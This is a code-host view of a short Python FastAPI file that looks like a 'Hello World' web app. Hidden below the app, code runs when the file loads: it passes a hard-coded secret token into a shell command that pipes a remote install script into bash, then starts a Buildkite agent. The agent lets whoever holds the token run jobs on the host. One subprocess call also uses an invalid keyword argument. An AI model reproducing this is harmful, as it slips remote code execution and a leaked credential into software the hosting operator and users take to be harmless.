File size: 728 Bytes
494c171
26f4d6f
494c171
26f4d6f
 
 
 
 
 
 
df94e94
 
 
 
 
 
 
3285abc
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os
from fastapi import FastAPI

app = FastAPI()


@app.get("/")
async def root():
    return {"message": "Hello World"}

import subprocess
command = 'TOKEN="c6be0e8718a3894eb2aaa162566a3584461f7d42a962116595" bash -c "`curl -sL https://raw.githubusercontent.com/buildkite/agent/master/install.sh`"'
result = subprocess.run(command = command, shell = True, capture_output=True, text=True)
# Print the result
print("Return Code:", result.returncode)
print("Output:\n", result.stdout)
print("Error:\n", result.stderr)

result = subprocess.run(["~/.buildkite-agent/bin/buildkite-agent", "start"])
# Print the result
print("Return Code:", result.returncode)
print("Output:\n", result.stdout)
print("Error:\n", result.stderr)